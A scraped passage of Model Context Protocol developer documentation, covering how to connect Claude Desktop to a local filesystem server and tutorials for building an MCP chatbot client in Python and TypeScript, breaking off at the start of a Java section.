logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Develop with MCP Connect to local MCP servers [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Prerequisites](https://modelcontextprotocol.io/docs/develop/connect-local-servers#prerequisites) * [Claude Desktop](https://modelcontextprotocol.io/docs/develop/connect-local-servers#claude-desktop) * [Node.js](https://modelcontextprotocol.io/docs/develop/connect-local-servers#node-js) * [Understanding MCP Servers](https://modelcontextprotocol.io/docs/develop/connect-local-servers#understanding-mcp-servers) * [Installing the Filesystem Server](https://modelcontextprotocol.io/docs/develop/connect-local-servers#installing-the-filesystem-server) * [Using the Filesystem Server](https://modelcontextprotocol.io/docs/develop/connect-local-servers#using-the-filesystem-server) * [File Management Examples](https://modelcontextprotocol.io/docs/develop/connect-local-servers#file-management-examples) * [How Approval Works](https://modelcontextprotocol.io/docs/develop/connect-local-servers#how-approval-works) * [Troubleshooting](https://modelcontextprotocol.io/docs/develop/connect-local-servers#troubleshooting) * [Next Steps](https://modelcontextprotocol.io/docs/develop/connect-local-servers#next-steps) Model Context Protocol (MCP) servers extend AI applications’ capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications. This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the [many clients that support MCP](https://modelcontextprotocol.io/clients) . While we focus on Claude Desktop’s implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action. ![Claude Desktop with filesystem integration showing file management capabilities](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-filesystem.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=ea7a0ad5ae5eeb866222f4020dc7bba3) [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#prerequisites) Prerequisites ------------------------------------------------------------------------------------------------------ Before starting this tutorial, ensure you have the following installed on your system: ### [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#claude-desktop) Claude Desktop Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows. If you already have Claude Desktop installed, verify you’re running the latest version by clicking the Claude menu and selecting “Check for Updates…” ### [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#node-js) Node.js The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running: node --version If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/) . We recommend the LTS (Long Term Support) version for stability. [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#understanding-mcp-servers) Understanding MCP Servers ------------------------------------------------------------------------------------------------------------------------------ MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we’ll install provides tools for: * Reading file contents and directory structures * Creating new files and directories * Moving and renaming files * Searching for files by name or content All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify. [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#installing-the-filesystem-server) Installing the Filesystem Server -------------------------------------------------------------------------------------------------------------------------------------------- The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them. 1 [](https://modelcontextprotocol.io/docs/develop/connect-local-servers#) Open Claude Desktop Settings Start by accessing the Claude Desktop settings. Click on the Claude menu in your system’s menu bar (not the settings within the Claude window itself) and select “Settings…”On macOS, this appears in the top menu bar: ![Claude Desktop menu showing Settings option](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-menu.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=1b300ae527efb4744aa08d5df94299a0) This opens the Claude Desktop configuration window, which is separate from your Claude account settings. 2 [](https://modelcontextprotocol.io/docs/develop/connect-local-servers#) Access Developer Settings In the Settings window, navigate to the “Developer” tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.Click the “Edit Config” button to open the configuration file: ![Developer settings showing Edit Config button](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-developer.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=7838d7f023a281053786870336914f03) This action creates a new configuration file if one doesn’t exist, or opens your existing configuration. The file is located at: * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json` * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json` 3 [](https://modelcontextprotocol.io/docs/develop/connect-local-servers#) Configure the Filesystem Server Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories: macOS Windows { "mcpServers": { "filesystem": { "command": "npx", "args": [\ "-y",\ "@modelcontextprotocol/server-filesystem",\ "/Users/username/Desktop",\ "/Users/username/Downloads"\ ] } } } Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed. **Understanding the Configuration** * `"filesystem"`: A friendly name for the server that appears in Claude Desktop * `"command": "npx"`: Uses Node.js’s npx tool to run the server * `"-y"`: Automatically confirms the installation of the server package * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server * The remaining arguments: Directories the server is allowed to access **Security Consideration**Only grant access to directories you’re comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually. 4 [](https://modelcontextprotocol.io/docs/develop/connect-local-servers#) Restart Claude Desktop After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.Upon successful restart, you’ll see an MCP server indicator ![](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/images/claude-desktop-mcp-slider.svg?w=2500&fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=d5edb4b4c2781b1eebbdd23d386c601c) in the bottom-right corner of the conversation input box: ![Claude Desktop interface showing MCP server indicator](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-slider.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=25dc1761b40b11ccb727b36183efa57f) Click on this indicator to view the available tools provided by the Filesystem Server: ![Available filesystem tools in Claude Desktop](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-tools.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=0007b81f22a6a9b9a117981091e0221f) If the server indicator doesn’t appear, refer to the [Troubleshooting](https://modelcontextprotocol.io/docs/develop/connect-local-servers#troubleshooting) section for debugging steps. [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#using-the-filesystem-server) Using the Filesystem Server ---------------------------------------------------------------------------------------------------------------------------------- With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities: ### [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#file-management-examples) File Management Examples * **“Can you write a poem and save it to my desktop?”** - Claude will compose a poem and create a new text file on your desktop * **“What work-related files are in my downloads folder?”** - Claude will scan your downloads and identify work-related documents * **“Please organize all images on my desktop into a new folder called ‘Images’”** - Claude will create a folder and move image files into it ### [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#how-approval-works) How Approval Works Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions: ![Claude requesting approval to perform a file operation](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-approve.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=ab48fb927eaaf919c5ccf063a958bab6) Review each request carefully before approving. You can always deny a request if you’re not comfortable with the proposed action. [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#troubleshooting) Troubleshooting ---------------------------------------------------------------------------------------------------------- If you encounter issues setting up or using the Filesystem Server, these solutions address common problems: Server not showing up in Claude / hammer icon missing 1. Restart Claude Desktop completely 2. Check your `claude_desktop_config.json` file syntax 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative 4. Look at [logs](https://modelcontextprotocol.io/docs/develop/connect-local-servers#getting-logs-from-claude-for-desktop) to see why the server is not connecting 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors: macOS/Linux Windows npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads Getting logs from Claude Desktop Claude.app logging related to MCP is written to log files in: * macOS: `~/Library/Logs/Claude` * Windows: `%APPDATA%\Claude\logs` * `mcp.log` will contain general logging about MCP connections and connection failures. * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server. You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs): macOS/Linux Windows tail -n 20 -f ~/Library/Logs/Claude/mcp*.log Tool calls failing silently If Claude attempts to use the tools but they fail: 1. Check Claude’s logs for errors 2. Verify your server builds and runs without errors 3. Try restarting Claude Desktop None of this is working. What do I do? Please refer to our [debugging guide](https://modelcontextprotocol.io/docs/tools/debugging) for better debugging tools and more detailed guidance. ENOENT error and \`${APPDATA}\` in paths on Windows If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`: { "brave-search": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-brave-search"], "env": { "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\", "BRAVE_API_KEY": "..." } } } With this change in place, launch Claude Desktop once again. **npm should be installed globally**The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command: npm install -g npm [​](https://modelcontextprotocol.io/docs/develop/connect-local-servers#next-steps) Next Steps ------------------------------------------------------------------------------------------------ Now that you’ve successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup: Explore other servers --------------------- Browse our collection of official and community-created MCP servers for additional capabilities Build your own server --------------------- Create custom MCP servers tailored to your specific workflows and integrations Connect to remote servers ------------------------- Learn how to connect Claude to remote MCP servers for cloud-based tools and services Understand the protocol ----------------------- Dive deeper into how MCP works and its architecture Was this page helpful? YesNo [Versioning](https://modelcontextprotocol.io/docs/learn/versioning) [Connect to remote MCP Servers](https://modelcontextprotocol.io/docs/develop/connect-remote-servers) ⌘I --- # Build an MCP client - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/develop/build-client#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Clients Build an MCP client [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Next steps](https://modelcontextprotocol.io/docs/develop/build-client#next-steps) In this tutorial, you’ll learn how to build an LLM-powered chatbot client that connects to MCP servers. Before you begin, it helps to have gone through our [Build an MCP Server](https://modelcontextprotocol.io/docs/develop/build-server) tutorial so you can understand how clients and servers communicate. * Python * TypeScript * Java * Kotlin * C# * Ruby [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python) [​](https://modelcontextprotocol.io/docs/develop/build-client#system-requirements) System Requirements --------------------------------------------------------------------------------------------------------- Before starting, ensure your system meets these requirements: * Mac or Windows computer * Latest Python version installed * Latest version of `uv` installed [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-environment) Setting Up Your Environment ------------------------------------------------------------------------------------------------------------------------- First, create a new Python project with `uv`: macOS/Linux Windows # Create project directory uv init mcp-client cd mcp-client # Create virtual environment uv venv # Activate virtual environment source .venv/bin/activate # Install required packages uv add mcp anthropic python-dotenv # Remove boilerplate files rm main.py # Create our main file touch client.py [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-api-key) Setting Up Your API Key ----------------------------------------------------------------------------------------------------------------- You’ll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys) .Create a `.env` file to store it: echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env Add `.env` to your `.gitignore`: echo ".env" >> .gitignore Make sure you keep your `ANTHROPIC_API_KEY` secure! [​](https://modelcontextprotocol.io/docs/develop/build-client#creating-the-client) Creating the Client --------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#basic-client-structure) Basic Client Structure First, let’s set up our imports and create the basic client class: import asyncio from typing import Optional from contextlib import AsyncExitStack from mcp import ClientSession, StdioServerParameters from mcp.client.stdio import stdio_client from anthropic import Anthropic from dotenv import load_dotenv load_dotenv() # load environment variables from .env class MCPClient: def __init__(self): # Initialize session and client objects self.session: Optional[ClientSession] = None self.exit_stack = AsyncExitStack() self.anthropic = Anthropic() # methods will go here ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-connection-management) Server Connection Management Next, we’ll implement the method to connect to an MCP server: async def connect_to_server(self, server_script_path: str): """Connect to an MCP server Args: server_script_path: Path to the server script (.py or .js) """ is_python = server_script_path.endswith('.py') is_js = server_script_path.endswith('.js') if not (is_python or is_js): raise ValueError("Server script must be a .py or .js file") command = "python" if is_python else "node" server_params = StdioServerParameters( command=command, args=[server_script_path], env=None ) stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params)) self.stdio, self.write = stdio_transport self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write)) await self.session.initialize() # List available tools response = await self.session.list_tools() tools = response.tools print("\nConnected to server with tools:", [tool.name for tool in tools]) ### [​](https://modelcontextprotocol.io/docs/develop/build-client#query-processing-logic) Query Processing Logic Now let’s add the core functionality for processing queries and handling tool calls: async def process_query(self, query: str) -> str: """Process a query using Claude and available tools""" messages = [\ {\ "role": "user",\ "content": query\ }\ ] response = await self.session.list_tools() available_tools = [{\ "name": tool.name,\ "description": tool.description,\ "input_schema": tool.inputSchema\ } for tool in response.tools] # Initial Claude API call response = self.anthropic.messages.create( model="claude-sonnet-4-20250514", max_tokens=1000, messages=messages, tools=available_tools ) # Process response and handle tool calls final_text = [] assistant_message_content = [] for content in response.content: if content.type == 'text': final_text.append(content.text) assistant_message_content.append(content) elif content.type == 'tool_use': tool_name = content.name tool_args = content.input # Execute tool call result = await self.session.call_tool(tool_name, tool_args) final_text.append(f"[Calling tool {tool_name} with args {tool_args}]") assistant_message_content.append(content) messages.append({ "role": "assistant", "content": assistant_message_content }) messages.append({ "role": "user", "content": [\ {\ "type": "tool_result",\ "tool_use_id": content.id,\ "content": result.content\ }\ ] }) # Get next response from Claude response = self.anthropic.messages.create( model="claude-sonnet-4-20250514", max_tokens=1000, messages=messages, tools=available_tools ) final_text.append(response.content[0].text) return "\n".join(final_text) ### [​](https://modelcontextprotocol.io/docs/develop/build-client#interactive-chat-interface) Interactive Chat Interface Now we’ll add the chat loop and cleanup functionality: async def chat_loop(self): """Run an interactive chat loop""" print("\nMCP Client Started!") print("Type your queries or 'quit' to exit.") while True: try: query = input("\nQuery: ").strip() if query.lower() == 'quit': break response = await self.process_query(query) print("\n" + response) except Exception as e: print(f"\nError: {str(e)}") async def cleanup(self): """Clean up resources""" await self.exit_stack.aclose() ### [​](https://modelcontextprotocol.io/docs/develop/build-client#main-entry-point) Main Entry Point Finally, we’ll add the main execution logic: async def main(): if len(sys.argv) < 2: print("Usage: python client.py ") sys.exit(1) client = MCPClient() try: await client.connect_to_server(sys.argv[1]) await client.chat_loop() finally: await client.cleanup() if __name__ == "__main__": import sys asyncio.run(main()) You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py) . [​](https://modelcontextprotocol.io/docs/develop/build-client#key-components-explained) Key Components Explained ------------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#1-client-initialization) 1\. Client Initialization * The `MCPClient` class initializes with session management and API clients * Uses `AsyncExitStack` for proper resource management * Configures the Anthropic client for Claude interactions ### [​](https://modelcontextprotocol.io/docs/develop/build-client#2-server-connection) 2\. Server Connection * Supports both Python and Node.js servers * Validates server script type * Sets up proper communication channels * Initializes the session and lists available tools ### [​](https://modelcontextprotocol.io/docs/develop/build-client#3-query-processing) 3\. Query Processing * Maintains conversation context * Handles Claude’s responses and tool calls * Manages the message flow between Claude and tools * Combines results into a coherent response ### [​](https://modelcontextprotocol.io/docs/develop/build-client#4-interactive-interface) 4\. Interactive Interface * Provides a simple command-line interface * Handles user input and displays responses * Includes basic error handling * Allows graceful exit ### [​](https://modelcontextprotocol.io/docs/develop/build-client#5-resource-management) 5\. Resource Management * Proper cleanup of resources * Error handling for connection issues * Graceful shutdown procedures [​](https://modelcontextprotocol.io/docs/develop/build-client#common-customization-points) Common Customization Points ------------------------------------------------------------------------------------------------------------------------- 1. **Tool Handling** * Modify `process_query()` to handle specific tool types * Add custom error handling for tool calls * Implement tool-specific response formatting 2. **Response Processing** * Customize how tool results are formatted * Add response filtering or transformation * Implement custom logging 3. **User Interface** * Add a GUI or web interface * Implement rich console output * Add command history or auto-completion [​](https://modelcontextprotocol.io/docs/develop/build-client#running-the-client) Running the Client ------------------------------------------------------------------------------------------------------- To run your client with any MCP server: uv run client.py path/to/server.py # python server uv run client.py path/to/build/index.js # node server If you’re continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python) , your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py` The client will: 1. Connect to the specified server 2. List available tools 3. Start an interactive chat session where you can: * Enter queries * See tool executions * Get responses from Claude Here’s an example of what it should look like if connected to the weather server from the server quickstart: ![](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/client-claude-cli-python.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=da01c2527db68cb0c99d29d20751a868) [​](https://modelcontextprotocol.io/docs/develop/build-client#how-it-works) How It Works ------------------------------------------------------------------------------------------- When you submit a query: 1. The client gets the list of available tools from the server 2. Your query is sent to Claude along with tool descriptions 3. Claude decides which tools (if any) to use 4. The client executes any requested tool calls through the server 5. Results are sent back to Claude 6. Claude provides a natural language response 7. The response is displayed to you [​](https://modelcontextprotocol.io/docs/develop/build-client#best-practices) Best practices ----------------------------------------------------------------------------------------------- 1. **Error Handling** * Always wrap tool calls in try-catch blocks * Provide meaningful error messages * Gracefully handle connection issues 2. **Resource Management** * Use `AsyncExitStack` for proper cleanup * Close connections when done * Handle server disconnections 3. **Security** * Store API keys securely in `.env` * Validate server responses * Be cautious with tool permissions 4. **Tool Names** * Tool names can be validated according to the format specified [here](https://modelcontextprotocol.io/specification/draft/server/tools#tool-names) * If a tool name conforms to the specified format, it should not fail validation by an MCP client [​](https://modelcontextprotocol.io/docs/develop/build-client#troubleshooting) Troubleshooting ------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-path-issues) Server Path Issues * Double-check the path to your server script is correct * Use the absolute path if the relative path isn’t working * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path * Verify the server file has the correct extension (.py for Python or .js for Node.js) Example of correct path usage: # Relative path uv run client.py ./server/weather.py # Absolute path uv run client.py /Users/username/projects/mcp-server/weather.py # Windows path (either format works) uv run client.py C:/projects/mcp-server/weather.py uv run client.py C:\\projects\\mcp-server\\weather.py ### [​](https://modelcontextprotocol.io/docs/develop/build-client#response-timing) Response Timing * The first response might take up to 30 seconds to return * This is normal and happens while: * The server initializes * Claude processes the query * Tools are being executed * Subsequent responses are typically faster * Don’t interrupt the process during this initial waiting period ### [​](https://modelcontextprotocol.io/docs/develop/build-client#common-error-messages) Common Error Messages If you see: * `FileNotFoundError`: Check your server path * `Connection refused`: Ensure the server is running and the path is correct * `Tool execution failed`: Verify the tool’s required environment variables are set * `Timeout error`: Consider increasing the timeout in your client configuration [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript) [​](https://modelcontextprotocol.io/docs/develop/build-client#system-requirements-2) System Requirements ----------------------------------------------------------------------------------------------------------- Before starting, ensure your system meets these requirements: * Mac or Windows computer * Node.js 17 or higher installed * Latest version of `npm` installed * Anthropic API key (Claude) [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-environment-2) Setting Up Your Environment --------------------------------------------------------------------------------------------------------------------------- First, let’s create and set up our project: macOS/Linux Windows # Create project directory mkdir mcp-client-typescript cd mcp-client-typescript # Initialize npm project npm init -y # Install dependencies npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv # Install dev dependencies npm install -D @types/node typescript # Create source file touch index.ts Update your `package.json` to set `type: "module"` and a build script: package.json { "type": "module", "scripts": { "build": "tsc && chmod 755 build/index.js" } } Create a `tsconfig.json` in the root of your project: tsconfig.json { "compilerOptions": { "target": "ES2022", "module": "Node16", "moduleResolution": "Node16", "outDir": "./build", "rootDir": "./", "strict": true, "esModuleInterop": true, "skipLibCheck": true, "forceConsistentCasingInFileNames": true }, "include": ["index.ts"], "exclude": ["node_modules"] } [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-api-key-2) Setting Up Your API Key ------------------------------------------------------------------------------------------------------------------- You’ll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys) .Create a `.env` file to store it: echo "ANTHROPIC_API_KEY=" > .env Add `.env` to your `.gitignore`: echo ".env" >> .gitignore Make sure you keep your `ANTHROPIC_API_KEY` secure! [​](https://modelcontextprotocol.io/docs/develop/build-client#creating-the-client-2) Creating the Client ----------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#basic-client-structure-2) Basic Client Structure First, let’s set up our imports and create the basic client class in `index.ts`: import { Anthropic } from "@anthropic-ai/sdk"; import { MessageParam, Tool, } from "@anthropic-ai/sdk/resources/messages/messages.mjs"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; import readline from "readline/promises"; import dotenv from "dotenv"; dotenv.config(); const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; if (!ANTHROPIC_API_KEY) { throw new Error("ANTHROPIC_API_KEY is not set"); } class MCPClient { private mcp: Client; private anthropic: Anthropic; private transport: StdioClientTransport | null = null; private tools: Tool[] = []; constructor() { this.anthropic = new Anthropic({ apiKey: ANTHROPIC_API_KEY, }); this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" }); } // methods will go here } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-connection-management-2) Server Connection Management Next, we’ll implement the method to connect to an MCP server: async connectToServer(serverScriptPath: string) { try { const isJs = serverScriptPath.endsWith(".js"); const isPy = serverScriptPath.endsWith(".py"); if (!isJs && !isPy) { throw new Error("Server script must be a .js or .py file"); } const command = isPy ? process.platform === "win32" ? "python" : "python3" : process.execPath; this.transport = new StdioClientTransport({ command, args: [serverScriptPath], }); await this.mcp.connect(this.transport); const toolsResult = await this.mcp.listTools(); this.tools = toolsResult.tools.map((tool) => { return { name: tool.name, description: tool.description, input_schema: tool.inputSchema, }; }); console.log( "Connected to server with tools:", this.tools.map(({ name }) => name) ); } catch (e) { console.log("Failed to connect to MCP server: ", e); throw e; } } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#query-processing-logic-2) Query Processing Logic Now let’s add the core functionality for processing queries and handling tool calls: async processQuery(query: string) { const messages: MessageParam[] = [\ {\ role: "user",\ content: query,\ },\ ]; const response = await this.anthropic.messages.create({ model: "claude-sonnet-4-20250514", max_tokens: 1000, messages, tools: this.tools, }); const finalText = []; for (const content of response.content) { if (content.type === "text") { finalText.push(content.text); } else if (content.type === "tool_use") { const toolName = content.name; const toolArgs = content.input as { [x: string]: unknown } | undefined; const result = await this.mcp.callTool({ name: toolName, arguments: toolArgs, }); finalText.push( `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]` ); messages.push({ role: "user", content: result.content as string, }); const response = await this.anthropic.messages.create({ model: "claude-sonnet-4-20250514", max_tokens: 1000, messages, }); finalText.push( response.content[0].type === "text" ? response.content[0].text : "" ); } } return finalText.join("\n"); } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#interactive-chat-interface-2) Interactive Chat Interface Now we’ll add the chat loop and cleanup functionality: async chatLoop() { const rl = readline.createInterface({ input: process.stdin, output: process.stdout, }); try { console.log("\nMCP Client Started!"); console.log("Type your queries or 'quit' to exit."); while (true) { const message = await rl.question("\nQuery: "); if (message.toLowerCase() === "quit") { break; } const response = await this.processQuery(message); console.log("\n" + response); } } finally { rl.close(); } } async cleanup() { await this.mcp.close(); } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#main-entry-point-2) Main Entry Point Finally, we’ll add the main execution logic: async function main() { if (process.argv.length < 3) { console.log("Usage: node index.ts "); return; } const mcpClient = new MCPClient(); try { await mcpClient.connectToServer(process.argv[2]); await mcpClient.chatLoop(); } catch (e) { console.error("Error:", e); await mcpClient.cleanup(); process.exit(1); } finally { await mcpClient.cleanup(); process.exit(0); } } main(); [​](https://modelcontextprotocol.io/docs/develop/build-client#running-the-client-2) Running the Client --------------------------------------------------------------------------------------------------------- To run your client with any MCP server: # Build TypeScript npm run build # Run the client node build/index.js path/to/server.py # python server node build/index.js path/to/build/index.js # node server If you’re continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript) , your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js` **The client will:** 1. Connect to the specified server 2. List available tools 3. Start an interactive chat session where you can: * Enter queries * See tool executions * Get responses from Claude [​](https://modelcontextprotocol.io/docs/develop/build-client#how-it-works-2) How It Works --------------------------------------------------------------------------------------------- When you submit a query: 1. The client gets the list of available tools from the server 2. Your query is sent to Claude along with tool descriptions 3. Claude decides which tools (if any) to use 4. The client executes any requested tool calls through the server 5. Results are sent back to Claude 6. Claude provides a natural language response 7. The response is displayed to you [​](https://modelcontextprotocol.io/docs/develop/build-client#best-practices-2) Best practices ------------------------------------------------------------------------------------------------- 1. **Error Handling** * Use TypeScript’s type system for better error detection * Wrap tool calls in try-catch blocks * Provide meaningful error messages * Gracefully handle connection issues 2. **Security** * Store API keys securely in `.env` * Validate server responses * Be cautious with tool permissions [​](https://modelcontextprotocol.io/docs/develop/build-client#troubleshooting-2) Troubleshooting --------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-path-issues-2) Server Path Issues * Double-check the path to your server script is correct * Use the absolute path if the relative path isn’t working * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path * Verify the server file has the correct extension (.js for Node.js or .py for Python) Example of correct path usage: # Relative path node build/index.js ./server/build/index.js # Absolute path node build/index.js /Users/username/projects/mcp-server/build/index.js # Windows path (either format works) node build/index.js C:/projects/mcp-server/build/index.js node build/index.js C:\\projects\\mcp-server\\build\\index.js ### [​](https://modelcontextprotocol.io/docs/develop/build-client#response-timing-2) Response Timing * The first response might take up to 30 seconds to return * This is normal and happens while: * The server initializes * Claude processes the query * Tools are being executed * Subsequent responses are typically faster * Don’t interrupt the process during this initial waiting period ### [​](https://modelcontextprotocol.io/docs/develop/build-client#common-error-messages-2) Common Error Messages If you see: * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded * `Connection refused`: Ensure the server is running and the path is correct * `Tool execution failed`: Verify the tool’s required environment variables are set * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables * `TypeError`: Ensure you’re using the correct types for tool arguments * `BadRequestError`: Ensure you have enough credits to access the Anthropic API This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation This example demonstrates how to build an interactive chatbot that combines Spring AI’s Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search) . The application creates a conversational interface powered by Anthropic’s Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data. [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot) [​](https://modelcontextprotocol.io/docs/develop/build-client#system-requirements-3) System Requirements ----------------------------------------------------------------------------------------------------------- Before starting, ensure your system meets these requirements: * Java 17 or higher * Maven 3.6+ * npx package manager * Anthropic API key (Claude) * Brave Search API key [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-environment-3) Setting Up Your Environment --------------------------------------------------------------------------------------------------------------------------- 1. Install npx (Node Package eXecute): First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm) and then run: npm install -g npx 2. Clone the repository: git clone https://github.com/spring-projects/spring-ai-examples.git cd model-context-protocol/web-search/brave-chatbot 3. Set up your API keys: export 